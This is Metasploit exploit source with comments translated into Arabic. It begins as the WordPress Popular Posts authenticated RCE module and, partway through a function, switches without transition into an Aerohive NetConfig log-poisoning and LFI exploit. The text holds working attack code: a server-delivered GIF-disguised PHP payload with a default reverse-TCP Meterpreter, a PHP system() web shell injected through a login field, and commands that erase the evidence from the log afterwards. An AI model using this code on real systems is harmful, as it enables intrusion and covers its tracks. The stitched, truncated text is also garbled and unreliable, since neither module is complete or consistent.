nate158g-m-w-n-l-p-d-a-o-e### هذه الوحدة تتطلب Metasploit: المصدر الحالي: MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ يتطلب هذا الاستغلال أن يكون لدى Metasploit اسم نطاق مؤهل بالكامل (FQDN) والقدرة على تشغيل خادم ويب للحمل على المنفذ 80 أو 443 أو 8080. يجب ألا يحل اسم النطاق المؤهل بالكامل إلى عنوان محجوز (192/172/127/10). يجب أن يستجيب الخادم أيضًا لطلب HEAD للحمل، قبل تلقي طلب GET. يستغل هذا الاستغلال تحققًا غير صحيح من الإدخال في إصدارات المكون الإضافي Popular Posts <= 5.3.2 لووردبريس. سلسلة الاستغلال معقدة نسبيًا. المصادقة مطلوبة و 'gd' الخاص بـ PHP مطلوب على الخادم. ثم يتم إعادة تكوين مكون Popular Post للسماح بعنوان URL عشوائي لصورة المنشور في القطعة. يتم إنشاء منشور، ثم يتم إرسال طلبات إلى المنشور لجعله أكثر شيوعًا من المنشور السابق #1 بمقدار 5. بمجرد وصول المنشور إلى أفضل 5، وبعد 60 ثانية (ننتظر 90) لتحديث ذاكرة التخزين المؤقت للخادم، يتم تحميل القطعة في الصفحة الرئيسية مما يؤدي إلى تنزيل المكون الإضافي للحمل من خادمنا. يحتوي حملنا على رأس 'GIF'، وامتداد مزدوج ('.gif.php') مما يسمح بتنفيذ كود PHP عشوائي. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # وحدة msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # التحليل الأصلي ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', '' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 دقيقة، قد يقوم زوار آخرون للموقع بتشغيله }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'اسم مستخدم الحساب', 'admin']), OptString.new('PASSWORD', [true, 'كلمة مرور الحساب', 'admin']), OptString.new('TARGETURI', [true, 'المسار الأساسي لخادم ووردبريس', '/']), # OptString.new('SRVHOSTNAME', [true, 'اسم النطاق المؤهل بالكامل لخادم metasploit. يجب ألا يحل إلى عنوان محجوز (192/10/127/172)', '']), # OptEnum.new('SRVPORT', [true, 'المنفذ المحلي للاستماع.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('لم يتم اكتشاف ووردبريس.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts ليس إصدارًا ضعيفًا') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # قم بتكرار هذه الحلقة 5 مرات في حالة وجود تأخير زمني في كتابة الملف بواسطة الخادم (1..5).each do |i| print_status("تشغيل الصدفة في: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} خلال 10 ثوانٍ. المحاولة #{i} من 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('فشل في العثور على الحمل، ربما لم يتم رفعه بشكل صحيح.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('الاستجابة لطلب HEAD الأولي (اجتاز الفحص 1)') # وفقًا لـ يجب أن يكون لدينا Content-Length صالح # لكن يبدو أن هذا يُحسب ديناميكيًا، حيث يتم استبداله بـ 0 في هذا الرد. تركت هنا كملاحظات. # أيضًا لم أرغب في إرسال الحمل الحقيقي في النص لجعل الحجم صحيحًا لأن ذلك يزيد من فرصة اكتشافنا return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('الاستجابة لطلب GET (اجتاز الفحص 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # لسبب غريب نحتاج إلى إغلاق الاتصال يدويًا حتى يتمكن PHP/WP من إنهاء وظائفه Rex.sleep(2) # انتظر حتى ينتهي WP من جميع الفحوصات التي يحتاجها trigger_payload(on_disk_payload_name) end print_status("تم استلام طلب #{request.method} غير متوقع") end def check_gd_installed(cookie) vprint_status('التحقق من تثبيت gd') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('استرداد رمز wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('إنشاء منشور جديد') # الحصول على معرف المنشور والرموز غيرية res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'الموقع لا يستجيب') unless res fail_with(Failure::UnexpectedReply, 'فشل في استرداد الصفحة') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('حقل ajax nonce مفقود، محاولة إعادة تمكينه. إذا فشل ذلك، قد تحتاج إلى تغيير الواجهة لتمكين هذا. راجع . أو تحقق (أثناء كتابة منشور) من Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]?)"/)&.flatten&.first unless version return CheckCode::Detected('تعذر تحديد إصدار Aerohive NetConfig.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("الهدف هو Aerohive NetConfig الإصدار #{version}") else print_warning('تجدر الإشارة إلى أنه من غير الواضح ما إذا/متى تم تصحيح هذه المشكلة، لذا قد تكون الإصدارات بعد 10.0r8a لا تزال ضعيفة.') return CheckCode::Safe("الهدف هو Aerohive NetConfig الإصدار #{version}") end rescue StandardError => e return CheckCode::Unknown("فشل في الحصول على إصدار Aerohive NetConfig صالح: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # تسميم /tmp/messages print_status('محاولة تسميم السجل في /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'فشل الاتصال أثناء محاولة تسميم السجل في /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'تم استلام رد غير متوقع أثناء محاولة تسميم السجل في /tmp/messages') end print_status('استجاب الخادم كما هو متوقع. الاستمرار...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('محاولة تنظيف ملف السجل في /tmp/messages...') print_warning('يرجى ملاحظة أن هذا سيجعل الهدف غير قابل للاستغلال (مؤقتًا). يمكن أن تستمر هذه الحالة لأكثر من ساعة.') begin # نحتاج إلى إزالة السطر الذي يحتوي على استدعاء PHP system من /tmp/messages # الأحرف الخاصة في استدعاء PHP system تجعل من المستحيل تقريبًا استخدام sed لاستبدال استدعاء PHP باسم مستخدم عادي. # بدلاً من ذلك، دعنا نتجنب الأحرف الخاصة من خلال ربط بعض أوامر grep للتأكد من أن لدينا السطر الصحيح ثم إزالة هذا السطر بالكامل # تأثير استخدام sed لتحرير الملف أثناء الطيران واستخدام grep لإنشاء ملف جديد واستبدال /tmp/messages به هو نفسه: # في كلتا الحالتين، من المحتمل أن يتوقف التطبيق عن الكتابة في /tmp/messages لفترة من الوقت (قد تتجاوز الساعة)، مما يجعل الهدف غير قابل للاستغلال خلال تلك الفترة. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; " "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"") # انتظر التنظيف Rex.sleep 5 # تحقق من وجود استدعاء PHP system في /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # استخدام =~ هنا أعطى نتائج غير متوقعة، لذلك يتم استخدام include? بدلاً منه unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # تحقق من وجود استدعاء PHP system في /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # استخدام =~ هنا أعطى نتائج غير متوقعة، لذلك يتم استخدام include? بدلاً منه unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("خطأ أثناء التنظيف: #{e.message}") ensure super end unless log_cleaned print_warning("تعذر استبدال استدعاء PHP system '#{@poison_cmd}' في /tmp/messages") end end if log_cleaned print_good('تم تنظيف السجل بنجاح بحذف السطر الذي يحتوي على استدعاء PHP system من /tmp/messages.') else print_warning("سيتطلب مسح دليل تسمم السجل تحرير/إزالة السطر في /tmp/messages الذي يحتوي على أمر التسمم يدويًا:\n\t#{@poison_cmd}") print_warning('يرجى ملاحظة أن أي تعديلات على /tmp/messages، حتى باستخدام sed، ستجعل الهدف غير قابل للاستغلال (مؤقتًا). يمكن أن تستمر هذه الحالة لأكثر من ساعة.') print_warning('حذف /tmp/messages أو مسح الملف بالكامل قد يكسر التطبيق.') end end def execute_command(cmd, _opts = {}) print_status('محاولة تنفيذ الحمل') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # تشغيل LFI من خلال اقتطاع المسار @shell_cmd_name => cmd } }, 0) print_warning('في حالة نجاح الاستغلال، سيتوقف تطبيق Aerohive NetConfig عن العمل طالما بقيت الصدفة مفتوحة.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('تنفيذ الحمل') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend